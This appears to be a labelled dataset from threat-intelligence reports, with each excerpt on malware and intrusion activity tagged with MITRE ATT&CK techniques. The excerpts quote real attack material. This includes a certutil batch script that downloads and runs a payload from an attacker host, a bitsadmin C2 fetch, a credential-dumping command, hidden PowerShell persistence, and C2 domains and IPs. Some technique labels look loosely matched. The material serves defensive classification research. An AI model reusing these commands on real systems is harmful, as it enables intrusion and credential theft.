QCRI/TechniqueRAG-Datasets huggingface dataset:
Threat description: From those servers the threat actor could use a web shell to retrieve the encrypted archives:  copy \\{FILE PATH}\c$\programdata\*.tmp \\{FILE PATH}\ServiceDesk\custom\style After exfiltrating the files, the threat actor used web shell access on the staging server to delete the staged RAR archives and detach their network shares, likely to avoid detection
MITRE ATT&CK techniques:
- T1505.003: Server Software Component - Web Shell
- T1070.004: Indicator Removal - File Deletion
Threat description: Function for scrambling AES256 key in the outgoing packet  Some screenshots taken during scrambling and encryption process:   Figure 21. The highlighted bytes represent the scrambled computer info   Figure 22. Randomly generated AES256 key   Figure 23. Scrambled AES256 key (0xC1 XOR 0x13 = 0xD2, 0xD2 ROL 6 = 0xB4) etc.)   Figure 24. Computer info encrypted with AES256 key   Figure 25. Screenshot of the final payload to be sent to C&C server
MITRE ATT&CK techniques:
- T1573: Encrypted Channel
- T1113: Screen Capture
Threat description: Gather the process time for all processes  Getting time information for all processes running on the system
MITRE ATT&CK techniques:
- T1055: Process Injection
- T1124: System Time Discovery
- T1057: Process Discovery
Threat description: Generate payloads in various formats:      Format Architecture Short Name     Android Package x86 & ARMv7 apk   Linux Binary x86 lin_x86   Linux Binary x64 lin_x64   Linux Shared Object x86 so_x86   Linux Shared Object x64 so_x64   Windows PE Executable x86 exe_x86   Windows PE Executable x64 exe_x64   Windows DLL x86 dll_x86   Windows DLL x64 dll_x64   Python Script x86 & x64 py   PyInstaller x86 & x64 pyinst   Python Oneliner x86 & x64 py_oneliner   Powershell x86 & x64 ps1   Powershell Oneliner x86 & x64 ps1_oneliner   Ducky Script N/A rubber_ducky      Deploy in memory from a single command line using python or powershell one-liners
MITRE ATT&CK techniques:
- T1059.001: Command and Scripting Interpreter - PowerShell
- T1106: Native API
- T1010: Application Window Discovery
Threat description: Get-Process | select Company Checks to see if any running processes have “Wireshark” or “Sysinternals” as the company name
MITRE ATT&CK techniques:
- T1518.001: Software Discovery - Security Software Discovery
- T1057: Process Discovery
Threat description: Having a Meterpreter session on a compromised computer allows for full control of the computer and exfiltration of any data, and in some cases lateral movement inside the organization
MITRE ATT&CK techniques:
- T1132: Data Encoding
- T1123: Audio Capture
Threat description: Here is the content of the file: /shellcode <90909090909090909090E800<...redacted…>4D2D6DC95CBD5DC1811111111111111> def <7B0D0A2756...redacted…>312067657420636C6F736566696C650D0A717569740D0A7D> token pop exch pop Exec  The executed shellcode will first perform a decoding routine designed to download an additional payload from the internet
MITRE ATT&CK techniques:
- T1064: Scripting
- T1105: Ingress Tool Transfer
Threat description: High Commissioner of Bangladesh Pakistan eying Sukhoi-35 fighter planes as part of defense deal from Russia 2018.143 PG COURSE IN 2018-2021 BATCH India Bangladesh and Pakistan Press Release on Observance of Historic Mujibnogor Dibosh by Pakistan Mission on 17 April 2018 Afghan Bomb Blast report by ISI USAJOBS Daily Saved Search Results for New GS15 for 3/30/2018 How Rigging take place in Senate Elections in Pakistan Afghan Terrorist group details ISI Restricted113 1971 Liberation War Freedom Fighters in Pakistan Army Custody Database  Additionally, the following filenames were witnessed in these attacks (spelling and grammar mistakes included):  Liberation Freedom Fighter.xlam NSC details of participants.xlam Raw Sect Vikram report on Pak Army Confidential.doc USA Immagration Policy for Families.ppam doc CV FM.doc doc Sukhoi35 deal report.doc Nominal Roll.doc Press Release 17 April.doc Afghan Blast report by ISI.doc Rigging in Pakistan Senate.doc Afghan Terrorist group report.doc    The payloads for these attacks varied in malware family
MITRE ATT&CK techniques:
- T1083: File and Directory Discovery
Threat description: Hook module structure After decrypting the strings, it became clear that the Linux Hook main module communicated with the same CnC server as other Windows modules:  The CNC’s IP address in the Linux module This Linux module can process the following commands, some of which are similar to the Windows version:    die  delete all BlackEnergy2 files and system traces   kill  delete all BlackEnergy2 files and system traces and reboot   lexec  launch a command using bin/sh   rexec  download and launch file using ‘fork/exec’   update  rewrite self file   migrate  update the CnC server    Windows Plugins After the disclosure of an unusual CnC server that pushed Linux and the new Windows plugins we paid greater attention to new BE2 samples and associated CnCs
MITRE ATT&CK techniques:
- T1106: Native API
- T1105: Ingress Tool Transfer
- T1070.004: Indicator Removal - File Deletion
Threat description: However, if you DO get infected, you’ll want to delete the following registry keys (if they exist): HKLM/System/CurrentControlSet/Services/DirecastX ytasda jrqq HKLM/System/CurrentControlSet/Services/DirectX yta jsdrq HKLM/System/CurrentControlSet/Services/DirectX ytsda jrq Additionally, you’ll want to delete any copies of “svchost.exe” that you find in %Program Files (x86)%/DIFXE/, as these are the dropped copies of the malware
MITRE ATT&CK techniques:
- T1112: Modify Registry
- T1070.004: Indicator Removal - File Deletion
Threat description: However, we were able determine a unique, hard-coded user agent used for the C2 communications: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; InfoPath.1) Using AutoFocus, we pivoted from the user agent string to expand our data set to three additional Zebrocy samples using the exact same user agent
MITRE ATT&CK techniques:
- T1087: Account Discovery
- T1543.001: Create or Modify System Process - Launch Agent
Threat description: If that fails, the payload will use DNS tunneling by first issuing a DNS query to resolve the following domain to notify the C2 that the payload will send data to it in subsequent DNS queries:   ns1.<random number between 100000 and 999999>.<c2 name>   The payload will then split the message up into 60-byte chunks (only 1 in this case), which it will send to the C2 via DNS queries to resolve domains structured as:   <encoded/encrypted data of message>.<same random number between 100000 and 999999>.<c2 name>   The payload will notify the C2 that it is done sending data by issuing a DNS query to resolve a domain structured as:   ns2.<same random number between 100000 and 999999>.<c2 name>   Package Comparison of the QUADAGENT Samples The bat2exe version (SHA256: 5f001f3387ddfc0314446d0c950da2cec4c786e2374d42beb3acce6883bb4e63)has a batch script, PowerShell script, and associated file names embedded within several resources that it will decrypt using RC4 and various MD5 hashes for keys
MITRE ATT&CK techniques:
- T1048: Exfiltration Over Alternative Protocol
- T1573: Encrypted Channel
- T1071: Application Layer Protocol
- T1008: Fallback Channels
Threat description: If the C2 server provides the appropriate echoed data in the response, the Trojan attempts to determine what  commands the C2 wishes to run by issuing a request to the following URL:http://<c2 domain>/what?<hex(Environment.UserName/Environment.MachineName)> After issuing the what command, the Trojan will parse the C2’s response for the string Oops, which the Trojan will treat as the C2 making a mistake and will exit
MITRE ATT&CK techniques:
- T1573: Encrypted Channel
- T1043: Commonly Used Port
- T1571: Non-Standard Port
- T1008: Fallback Channels
- T1071: Application Layer Protocol
- T1132: Data Encoding
- T1041: Exfiltration Over C2 Channel
Threat description: If the mutex does not exist and a Windows Startup Registry key with name “System Update” does not exist, the malware performs its initialization routine by:  Copying itself to the path %PROGRAMDATA%\svchost.exe Sets the Windows Startup Registry key with the name “System Update” which points to the above dropped payload
MITRE ATT&CK techniques:
- T1112: Modify Registry
- T1547.001: Boot or Logon Autostart Execution - Registry Run Keys / Startup Folder
Threat description: If there are keys for the string encryption with the XOR algorithm, the configuration data will be also encrypted with the XOR algorithm
MITRE ATT&CK techniques:
- T1573: Encrypted Channel
- T1027: Obfuscated Files or Information
Threat description: If the Trojan receives this echo, it will create the following file that the Trojan uses as a signal that it was able to successfully communicate with its C2 server: %APPDATA%\Windows\ShwDoc.srv If the Trojan determines the C2 server wishes to send a command, it sends an HTTP request to the following URL: hxxp://www.windowspatch[.]com/tahw?<hex(STDOUT of whoami command)> The Trojan will first check the response to this request for the string spoo, which signifies the C2 does not wish to issue a command
MITRE ATT&CK techniques:
- T1071: Application Layer Protocol
- T1008: Fallback Channels
Threat description: If unable to contact the C2 server initially, the shellcode is configured to reattempt communication with the C2 server address in the following pattern:  [a-z][a-z][a-z].stage.14919005.www1.proslr3[.]com VBScript #2 “mshta.exe” further executes the second VBScript “58d2a83f777908.23270411.vbs”, which creates a folder by GUID name inside “Intel” and drops the VBScript payloads and configuration files: \Intel\{BFF4219E-C7D1-2880-AE58-9C9CD9701C90}\58d2a83f777638.60220156.ini \Intel\{BFF4219E-C7D1-2880-AE58-9C9CD9701C90}\58d2a83f777688.78384945.ps1 \Intel\{BFF4219E-C7D1-2880-AE58-9C9CD9701C90}\58d2a83f7776b5.64953395.txt \Intel\{BFF4219E-C7D1-2880-AE58-9C9CD9701C90}\58d2a83f7776e0.72726761.vbs \Intel\{BFF4219E-C7D1-2880-AE58-9C9CD9701C90}\58d2a83f777716.48248237.vbs \Intel\{BFF4219E-C7D1-2880-AE58-9C9CD9701C90}\58d2a83f777788.86541308.vbs \Intel\{BFF4219E-C7D1-2880-AE58-9C9CD9701C90}\Foxconn.lnk This script then executes “58d2a83f777716.48248237.vbs”, which is a variant of FIN7’s HALFBAKED backdoor
MITRE ATT&CK techniques:
- T1064: Scripting
- T1036: Masquerading
Threat description: In 2016, CTU researchers observed the group using native system functionality to disable logging processes and delete logs within a compromised environment
MITRE ATT&CK techniques:
- T1562.001: Impair Defenses - Disable or Modify Tools
- T1070.004: Indicator Removal - File Deletion
Threat description: In all of the DropIt samples we collected, the dropper will then save the executable to the user’s %TEMP% folder and execute the file, specifically to one of the following filenames:  %TEMP%\spp.exe %TEMP%\sloo.exe %TEMP%\spoo.exe %TEMP%\vschos.exe  We have also seen Magic Hound using DropIt like a binder Trojan, specifically dropping a legitimate decoy executable along with the malicious executable as a payload
MITRE ATT&CK techniques:
- T1055.012: Process Injection - Process Hollowing
- T1036: Masquerading
Threat description: In December 2018, a thread on HackForums described a change in the ownership and ongoing development of the HawkEye keylogger.Shortly following this exchange, new posts began to appear that were attempting to market and sell new versions of HawkEye (HawkEye Reborn v9), with these new posts also referencing the change in ownership of the project moving forward.HawkEye Reborn v9 is currently marketed as an "Advance Monitoring Solution." It is currently being sold using a licensing model, with purchasers gaining access to the software and updates for different periods based on a tiered pricing model.HawkEye Reborn v9 also features a Terms of Service agreement that provides some additional insight
MITRE ATT&CK techniques:
- T1008: Fallback Channels
- T1543.003: Create or Modify System Process - Windows Service
Threat description: Indicators  File  Hash  Description  x.js  3fefa55daeb167931975c22df3eca20a  HOMEFRY, a 64-bit Windows password dumper/cracker  mt.exe  40528e368d323db0ac5c3f5e1efe4889  MURKYTOP, a command-line reconnaissance tool   com4.js  a68bf5fce22e7f1d6f999b7a580ae477  AIRBREAK, a JavaScript-based backdoor which retrieves commands from hidden strings in compromised webpages   Historical Indicators  File  Hash  Description  green.ddd  3eb6f85ac046a96204096ab65bbd3e7e  AIRBREAK, a JavaScript-based backdoor which retrieves commands from hidden strings in compromised webpages  BGij  6e843ef4856336fe3ef4ed27a4c792b1  Beacon, a commercially available backdoor  msresamn.ttf  a9e7539c1ebe857bae6efceefaa9dd16  PHOTO, also reported as Derusbi  1024-aa6a121f98330df2edee6c4391df21ff43a33604  bd9e4c82bf12c4e7a58221fc52fed705  BADFLICK, backdoor that is capable of modifying the file system, generating a reverse shell, and modifying its command-and-control configuration
MITRE ATT&CK techniques:
- T1140: Deobfuscate/Decode Files or Information
Threat description: Indicators of compromise MITRE ATT&CK techniques  Modify existing service Code signing File deletion Deobfuscate/decode files or information System information discovery Process discovery Service execution RunDLL32 Scripting Command-line Interface Data from local system Automated exfiltration Data encrypted Commonly used port Bypass user account control  Hashes  fe32d29fa16b1b71cd27b23a78ee9f6b7791bff3 f684e15dd2e84bac49ea9b89f9b2646dc32a2477 1d280a77595a2d2bbd36b9b5d958f99be20f8e06 19d9573f0b2c2100accd562cc82d57adb12a57ec f90a2155ac492c3c2d5e1d83e384e1a734e59cc0 9b832dda912cce6b23da8abf3881fcf4d2b7ce09 f3b62fea38cb44e15984d941445d24e6b309bc7b 66d2cea01b46c3353f4339a986a97b24ed89ee18 7113aaab61cacb6086c5531a453adf82ca7e7d03 d41daba0ebfa55d0c769ccfc03dbf6a5221e006a 25f4819e7948086d46df8de2eeeaa2b9ec6eca8c 35ab747c15c20da29a14e8b46c07c0448cef4999 e87de3747d7c12c1eea9e73d3c2fb085b5ae8b42 0e4a7c0242b98723dc2b8cce1fbf1a43dd025cf0 bca861a46d60831a3101c50f80a6d626fa99bf16 01530adb3f947fabebae5d9c04fb69f9000c3cef 4229896d61a5ad57ed5c247228606ce62c7032d0 4c7e975f95ebc47423923b855a7530af52977f57 5a6ad7a1c566204a92dd269312d1156d51e61dc4 1dc50bfcab2bc80587ac900c03e23afcbe243f64 003e21b02be3248ff72cc2bfcd05bb161b6a2356 9b7c3c48bcef6330e3086de592b3223eb198744a 85e2453b37602429596c9681a8c58a5c6faf8d0c  Domains  ftp.byethost31.com ftp.byethost11.com 1113427185.ifastnet.org navermail.byethost3.com nihon.byethost3.com
MITRE ATT&CK techniques:
- T1048: Exfiltration Over Alternative Protocol
Threat description: Indirect Code Execution Through INF and SCT This scriptlet code execution technique leveraging INF and SCT files was recently discovered and documented in February 2018
MITRE ATT&CK techniques:
- T1064: Scripting
- T1140: Deobfuscate/Decode Files or Information
Threat description: In one incident, the threat actor used the Wrapikatz tool (w.exe) with a usage statement that retrieves various passwords and Windows credentials from memory and compiles them in w.txt: c:\programdata\w.exe –w –l –c>>c:\programdata\w.txt In a separate incident, the threat actor used access provided by extensive web shell deployment to harvest account credentials:  2016-10-03T09:27:47   dir 2016-10-03T09:28:11   w64.log >ppp.log 2016-10-03T09:30:10     PowerShell.exe -ExecutionPolicy Bypass -File getpwd.ps1 >iistail.log  In another example, BRONZE UNION leveraged the Kekeo credential abuse tool to exploit CVE-2014-6324, a vulnerability in Microsoft's implementation of the Kerberos network authentication protocol
MITRE ATT&CK techniques:
- T1003: OS Credential Dumping
- T1068: Exploitation for Privilege Escalation
Threat description: In other cases, threat actors placed web shells on externally accessible servers, sometimes behind a reverse proxy, to execute commands on the compromised system
MITRE ATT&CK techniques:
- T1059: Command and Scripting Interpreter
- T1090: Proxy
- T1505.003: Server Software Component - Web Shell
Threat description: In particular, the threat actors have exploited CVE-2011-3544, a vulnerability in the Java Runtime Environment, to deliver the HttpBrowser backdoor; and CVE-2010-0738, a vulnerability in JBoss, to compromise internally and externally accessible assets used to redirect users' web browsers to exploit code
MITRE ATT&CK techniques:
- T1203: Exploitation for Client Execution
- T1068: Exploitation for Privilege Escalation
Threat description: Interestingly, the attacker has used the >> method to append to the file so there can be multiple outputs written to their single TMP file: "C:\Windows\system32\cmd.exe" /C systeminfo >> "C:\Ahnlab\$$$A24F.TMP"  "C:\WINDOWS\system32\cmd.exe" /C tasklist /v >> "C:\Ahnlab\$$$A24F.TMP"   NavRAT   Capabilities  NavRAT is a remote access trojan (RAT) designed to upload, download and execute files
MITRE ATT&CK techniques:
- T1074: Data Staged
- T1105: Ingress Tool Transfer
Threat description: In the following example, archives for exfiltration were renamed as .tmp files:  move \\{FILE PATH}\c$\programdata\AT.part01.rar  \\{FILE PATH}\c$\programdata\at01.tmp The TMP files were then staged for exfiltration on Internet-facing servers that had previously been compromised with the China Chopper web shell
MITRE ATT&CK techniques:
- T1074: Data Staged
- T1070.004: Indicator Removal - File Deletion
Threat description: In this campaign, the group sent spear phishing emails containing malicious documents that led to the installation of the UPPERCUT backdoor
MITRE ATT&CK techniques:
- T1598.002: Phishing for Information - Spearphishing Attachment
- T1598.003: Phishing for Information - Spearphishing Link
Threat description: In this particular instance, the following script is retrieved:@echo off  :if exist "%PROGRAMFILES(x86)%" (GOTO 64BITOS) ELSE (GOTO 32BITOS)  :32BITOS certutil -urlcache -split -f http://s8877.1apps[.]com/vip/setup.txt > nul certutil -decode -f setup.txt setup.cab > nul del /f /q setup.txt > nul GOTO ISEXIST  :64BITOS :certutil -urlcache -split -f http://s8877.1apps[.]com/vip/setup2.txt > nul :certutil -d^ecode -f setup2.txt setup.cab > nul :del /f /q setup2.txt > nul :GOTO ISEXIST  :ISEXIST  if exist "setup.cab" (GOTO EXECUTE) ELSE (GOTO EXIT)  :EXECUTE ver | findstr /i "10\." > nul IF %ERRORLEVEL% EQU 0 (GOTO WIN10) ELSE (GOTO OTHEROS)  :WIN10 expand %TEMP%\setup.cab -F:* %CD% > nul :if exist "%PROGRAMFILES(x86)%" (rundll32 %TEMP%\drv.dll EntryPoint) ELSE (rundll32 %TEMP%\drv.dll EntryPoint) %TEMP%\install.bat GOTO EXIT  :OTHEROS wusa %TEMP%\setup.cab /quiet /extract:%TEMP% > nul %TEMP%\install.bat GOTO EXIT  :EXIT del /f /q setup.cab > nul del /f /q %~dpnx0 > nulThis script simply checks the operating system of the victim and downloads the respective payload again using the certutil executable
MITRE ATT&CK techniques:
- T1071: Application Layer Protocol
- T1218.011: System Binary Proxy Execution - Rundll32
Threat description: IOCs Domain supservermgr[.]com URL hxxp://supservermgr[.]com/sys/upd/pageupd.php Zebrocy d697160aecf152a81a89a6b5a7d9e1b8b5e121724038c676157ac72f20364edc cba5ab65a24be52214736bc1a5bc984953a9c15d0a3826d5b15e94036e5497df 25f0d1cbcc53d8cfd6d848e12895ce376fbbfaf279be591774b28f70852a4fd8 115fd8c619fa173622c7a1e84efdf6fed08a25d3ca3095404dcbd5ac3deb1f03 f27836430742c9e014e1b080d89c47e43db299c2e00d0c0801a2830b41b57bc1 5b5e80f63c04402d0b282e95e32155b2f86cf604a6837853ab467111d4ac15e2 dd7e69e14c88972ac173132b90b3f4bfb2d1faec15cca256a256dd3a12b6e75d Koadic abbad7acd50754f096fdc6551e728aa6054dcf8e55946f90a02b17db552471ca User Agents Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; InfoPath.1) Mozilla/5.0 (Windows NT 6.1; WOW64) WinHttp/1.6.3.8 (WinHTTP/5.1) like Gecko Mozilla v5.1 (Windows NT 6.1; rv:6.0.1) Gecko/20100101 Firefox/6.0.1 IPs 185.25.51[.]198 185.25.50[.]93 220.158.216[.]127 92.114.92[.]102 86.106.131[.]177  DDE Docs 85da72c7dbf5da543e10f3f806afd4ebf133f27b6af7859aded2c3a6eced2fd5 8cf3bc2bf36342e844e9c8108393562538a9af2a1011c80bb46416c0572c86ff
MITRE ATT&CK techniques:
- T1087: Account Discovery
Threat description: Irdsnhrxxxfery64 manipulation on userinit.exe & unins000.exe Injection Technique To Increase Stealthiness After locating one of the target processes, the malware uses Process Hollowing (MITRE Technique T1093) to evasively create a new process from a legitimate source
MITRE ATT&CK techniques:
- T1055.012: Process Injection - Process Hollowing
- T1057: Process Discovery
Threat description: It communicates encoded system information to a single hard coded command and control (C2) server, using the system’s default User-Agent string
MITRE ATT&CK techniques:
- T1071: Application Layer Protocol
- T1082: System Information Discovery
Threat description: It executes the other modules and collects initial information about the machine, including information about the network, locale, and the keyboard language.    The main module collecting information about the machine
MITRE ATT&CK techniques:
- T1016: System Network Configuration Discovery
- T1087: Account Discovery
- T1082: System Information Discovery
Threat description: It has the capability to find files, enumerate drives, exfiltrate data, take screenshots and provide a reverse shell
MITRE ATT&CK techniques:
- T1113: Screen Capture
- T1083: File and Directory Discovery
Threat description: It sets keyboard and mouse hooks to its handlekeys() and MouseHookProc() functions respectively and starts several working threads:    ID Thread description   1 Gets commands from C2 and saves them to a file and system registry using the bitsadmin.exe utility   2 Decrypts command from registry using RC4 with a hardcoded key, and executes it   3 Transfers screenshots from the clipboard to \Cache005 subdirectory and Unicode text from clipboard to log.txt, XOR-ed with the “salamati” key (“health” in Farsi)   4 Transfers screenshots to \Cache005 subdirectory with captureScreenTimeOut and captureScreenTimeOut frequencies   5 Checks network connection, encrypts and sends gathered logs   6 Unhooks mouse and keyboard, removes bitsadmin task   7 Checks if malware’s working directory size already exceeds its threshold   8 Gathers victim´s credentials, visited website cache, decrypted Chrome login data, as well as Firefox databases with cookies, keys, signons and downloads    The malware uses the following command to receive data from its C2:       bitsadmin.exe /TRANSFER HelpCenterDownload /DOWNLOAD /PRIORITY normal <server> <file>http://<server_config>/asp.asp?ui=<host_name>nrg-<adapter_info>-<user_name>     Activity logging module (Splitter.exe) This module is called from the main thread to obtain screenshots of windows whose titles are specified in the configuration CaptureSites field, bitmaps and text from clipboard, etc
MITRE ATT&CK techniques:
- T1115: Clipboard Data
- T1113: Screen Capture
Threat description: It then launches player.exe, a CozyDuke dropper maintaining anti-detection techniques: 3d3363598f87c78826c859077606e514,player.exe,338kb,Trojan.Win32.CozyBear.v,CompiledOn:2014.07.02 21:13:33 Anti-detection and trojan functionality The file collects system information, and then invokes a WMI instance in the root\securitycenter namespace to identify security products installed on the system, meaning that this code was built for x86 systems, wql here: SELECT * FROM AntiVirusProduct SELECT * FROM FireWallProduct The code hunts for several security products to evade: CRYSTAL KASPERSKY SOPHOS DrWeb AVIRA COMODO Dragon In addition to the WMI/wql use, it also hunts through the “SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\” registry key looking for security products to avoid
MITRE ATT&CK techniques:
- T1518.001: Software Discovery - Security Software Discovery
- T1036: Masquerading
Threat description: JAVASCRIPT CODE SNIPPETS:  The first stage JavaScript copies additional JavaScript code snippets in txt format from the RTF document into a random directory “C:\Users\<User Name>\<Random guid>\”
MITRE ATT&CK techniques:
- T1064: Scripting
- T1033: System Owner/User Discovery
Threat description: Just like in the sandbox checks, the Trojan checks for an attached debugger each time it issues a DNS query; if it does detect a debugger it will issue a DNS query to resolve 676f6f646c75636b.gogle[.]co
MITRE ATT&CK techniques:
- T1518.001: Software Discovery - Security Software Discovery
- T1124: System Time Discovery
- T1497: Virtualization/Sandbox Evasion
Threat description: Lateral Movement, Maintain Presence, and Complete Mission APT39 facilitates lateral movement through myriad tools such as Remote Desktop Protocol (RDP), Secure Shell (SSH), PsExec, RemCom, and xCmdSvc
MITRE ATT&CK techniques:
- T1021.001: Remote Services - Remote Desktop Protocol
- T1021: Remote Services
Threat description: Like the ChinaChopper web shell, the OwaAuth web shell requires a password
MITRE ATT&CK techniques:
- T1059: Command and Scripting Interpreter
- T1505.003: Server Software Component - Web Shell
Threat description: Malware  Capabilities  WINDSHIELD   Command and control (C2) communications via TCP raw sockets Four configured C2s and six configured ports – randomly-chosen C2/port for communications Registry manipulation Get the current module's file name Gather system information including registry values, user name, computer name, and current code page File system interaction including directory creation, file deletion, reading, and writing files Load additional modules and execute code Terminate processes Anti-disassembly   KOMPROGO   Fully-featured backdoor capable of process, file, and registry management Creating a reverse shell File transfers Running WMI queries Retrieving information about the infected system   SOUNDBITE   C2 communications via DNS Process creation File upload Shell command execution File and directory enumeration/manipulation Window enumeration Registry manipulation System information gathering   PHOREAL   C2 communications via ICMP Reverse shell creation Filesystem manipulation Registry manipulation Process creation File upload   BEACON (Cobalt Strike)   Publicly available payload that can inject and execute arbitrary code into processes Impersonating the security context of users Importing Kerberos tickets Uploading and downloading files Executing shell commands Configured with malleable C2 profiles to blend in with normal network traffic Co-deployment and interoperability with Metasploit framework SMB Named Pipe in-memory backdoor payload that enables peer-to-peer C2 and pivoting over SMB    Table 3: APT32 Malware and Capabilities APT32 operators appear to be well-resourced and supported as they use a large set of domains and IP addresses as command and control infrastructure
MITRE ATT&CK techniques:
- T1041: Exfiltration Over C2 Channel
Threat description: Obfuscation Mechanism for the JScript Code The malicious JScript code obfuscation relies on two main techniques
MITRE ATT&CK techniques:
- T1027: Obfuscated Files or Information
- T1140: Deobfuscate/Decode Files or Information
Threat description: Office365DCOMCheck.ps1 and SystemDiskClean.ps1):       wscript.exe "Office365DCOMCheck.vbs" \"PowerShell.exe  -ExecutionPolicy bypass -WindowStyle hidden -NoProfile '<current PowerShell script>'  \"     After setting up persistent access, the payload checks to see if a value exists within a registry key in the HKCU hive whose name is the same as the scheduled task (ex
MITRE ATT&CK techniques:
- T1012: Query Registry
- T1036: Masquerading
Threat description: Office365DCOMCheck.vbs or SystemDiskClean.vbs) within the %TEMP% folder:       CreateObject("WScript.Shell").Run "" & WScript.Arguments(0) & "", 0, False     The scheduled task will then run every five minutes, which provides persistent execution of the downloader script
MITRE ATT&CK techniques:
- T1059: Command and Scripting Interpreter
- T1064: Scripting
- T1053.005: Scheduled Task/Job - Scheduled Task
- T1547.001: Boot or Logon Autostart Execution - Registry Run Keys / Startup Folder
Threat description: Old Comnie Variant C2 Decoder      12345678910111213141516171819  import requestsimport sysimport redef decode(data):  o = ""  for c in data:    if c == "*":      o += "."    elif c == "|":      o += ":"    elif c == "+":      o += ";"    else:      o += chr(ord(c)-49)  return or = requests.get(sys.argv[1])fd = r.textdata = fd.split("++a++")[1].split("++a++")[0]print(decode(data))       Samples Analyzed eed5945c36ba22a2531dd2d9dd7bc4e17e68544d512be75670919caf287c1b4a 8026442b812469e48ccd11611ab6eacdcb312a8f1aabd563b7f4cb4868315e16 c8951038fd53321661274e5a12532c3fb6f73c75fd75503a1089c56990658fef 48a1ce103e5bf47c47cc5ed40b2dc687ebaf3674d667419287bcb1d0b8d8dda6 e06b797a24fa03a77e0d5f11b0cf0f4f038e0a9ea04d4981d39148969349c79c 7282d0709449abe16457864f58157cac8d007571dc5d463d393d1ae2605d17e0 bf6ee8426245b167a69292e513c0841d818b310dda87daea649221f4e0afd1b3 62b98dde60cb4dd0d0088bde222c5c2c4c92560cccf4753f1ce94e044093ab85 756952652290ad09fe03c8674d44eab2077b091398187c3abcb6f1ddc462c32d 639a49390c6f8597d36ec0bd245efa1b4a078c0506fb515e577a40389b39a614 29ed6eb3c882b018c2bb6bf2f8eb15069dc5510ca119abebf24f09e3c91f10aa 0e8a4e4d5ca501bad25a730fb5de534fa324c6ac23e0a573524693f2d996d105 316a0c6849f183a1a52d0c7648e722c4ca85bd57b0804a147c0c8656b84bbdb9   Identified C2s 121.126.211[.]94:8080 113.196.70[.]11:80,8080 133.130.101[.]47:443 123.51.208[.]157:443;8000;8080   C2 Hosting URLs (DDR URLs) github[.]com/korlee5643 itsmonsee.tumblr[.]com allworldnewsway.blogspot[.]com
MITRE ATT&CK techniques:
- T1043: Commonly Used Port
Threat description: Once all the tasks have been executed completely, the malware breaks the loop, sends the termination buffer back, and clears all the footprints from the targeted machine:  Deletes the LNK file from the startup directory
MITRE ATT&CK techniques:
- T1547.009: Boot or Logon Autostart Execution - Shortcut Modification
- T1070.004: Indicator Removal - File Deletion
Threat description: Once the payload is successfully executed, it will proceed to copy files to the following locations:  C:\ProgramData\ManagerApp\AdapterTroubleshooter.exe C:\ProgramData\ManagerApp\15b937.cab C:\ProgramData\ManagerApp\install.cab C:\ProgramData\ManagerApp\msvcr90.dll C:\ProgramData\ManagerApp\d3d9.dll  The “AdapterTroubleshooter.exe” file is a legitimate binary which is leveraged to use the famous DLL search order hijacking technique.  The “d3d9.dll” file is malicious and is loaded into memory by the legit binary upon execution.  Once loaded, the DLL will then inject FinSpy into the Winlogon process
MITRE ATT&CK techniques:
- T1055: Process Injection
- T1574.002: Hijack Execution Flow - DLL Side-Loading
- T1574.001: Hijack Execution Flow - DLL Search Order Hijacking
Threat description: One such email that we were able to obtain was targeting users in Turkey, as shown in Figure 4:    Figure 4: Sample spear phishing email containing macro-based document attachment The malicious Microsoft Office attachments that we observed appear to have been specially crafted for individuals in four countries: Turkey, Pakistan, Tajikistan and India
MITRE ATT&CK techniques:
- T1598.002: Phishing for Information - Spearphishing Attachment
- T1204: User Execution
Threat description: OopsIE Trojan Analysis The OopsIE Trojan delivered in these attacks is packed with SmartAssembly and further obfuscated with ConfuserEx v1.0.0
MITRE ATT&CK techniques:
- T1027: Obfuscated Files or Information
- T1027.002: Obfuscated Files or Information - Software Packing
Threat description: Our analysis of the backdoors used in the September 2018 attacks show that AuditCred.dll/ROptimizer.dll was similarly used:      FileTokenBroker.dll  (2017 attack) AuditCred.dll/Roptimizer.dll  (2018 attack)   Launch Method Service Service   Function Loader Component Loader Component   Working directory %Windows%\System32 %Windows%\System32   Loaded Component Path %Windows%\System32\en-US %Program Files%\Common Files\System\ado   Loaded Component Blending Blends with .mui files Blend with ActiveX data Object dll files    Table1: Similarities of the Loader components in both incidents Analysis of backdoors used in 2018 The Lazarus group used a series of backdoors in their 2018 attacks, employing a complicated technique that involves three major components:  AuditCred.dll/ROptimizer.dll (detected by Trend Micro as BKDR_BINLODR.ZNFJ-A) – loader DLL that is launched as a service Msadoz<n>.dll (detected by Trend Micro as BKDR64_BINLODR.ZNFJ-A) – encrypted backdoor n = number of characters in the loader dll’s filename Auditcred.dll.mui/rOptimizer.dll.mui (detected by Trend Micro as TROJ_BINLODRCONF.ZNFJ-A) – encrypted configuration file   Figure 1: Loading sequence of the modularized backdoor The loader DLL is installed as a service and uses different names (AuditCred and ROptimizer) on different machines
MITRE ATT&CK techniques:
- T1055: Process Injection
- T1218.011: System Binary Proxy Execution - Rundll32
- T1574.002: Hijack Execution Flow - DLL Side-Loading
- T1574.001: Hijack Execution Flow - DLL Search Order Hijacking
Threat description: Our observation of related actions here:    u ps start password stealing (Windows)   Ps_mps/ps_hwi start start password stealing (Linux, MIPS,  ARM)   uper_mps/uper_hwi start rewrite hook module with a new version and launch it (Linux, MIPS, ARM)   Nm_mps/nm_hwi start  –ban -middle Scan ports and retrieve banners on the router subnet  (Linux, MIPS,  ARM)   U fsget * 7 *.docx, *.pdf, *.doc * search for docs with the given filetypes (Windows)   S sinfo retrieve information on installed programs and launch commands: systeminfo, tasklist, ipconfig, netstat, route print, tracert www.google.com (Windows)   weap_mps/weap_hwi host188.128.123.52 port[25,26,110,465,995]  typetcpconnect DDoS on 188.128.123.52 (Linux, MIPS,  ARM)   weap_mps/weap_hwi  typesynflood port80 cnt100000 spdmedium host212.175.109.10 DDoS on 212.175.109.10 (Linux, MIPS,  ARM)    The issued commands for the Linux plugins suggest the attackers controlled infected MIPS/ARM devices. We want to pay special attention to the DDoS commands meant for these routers
MITRE ATT&CK techniques:
- T1003: OS Credential Dumping
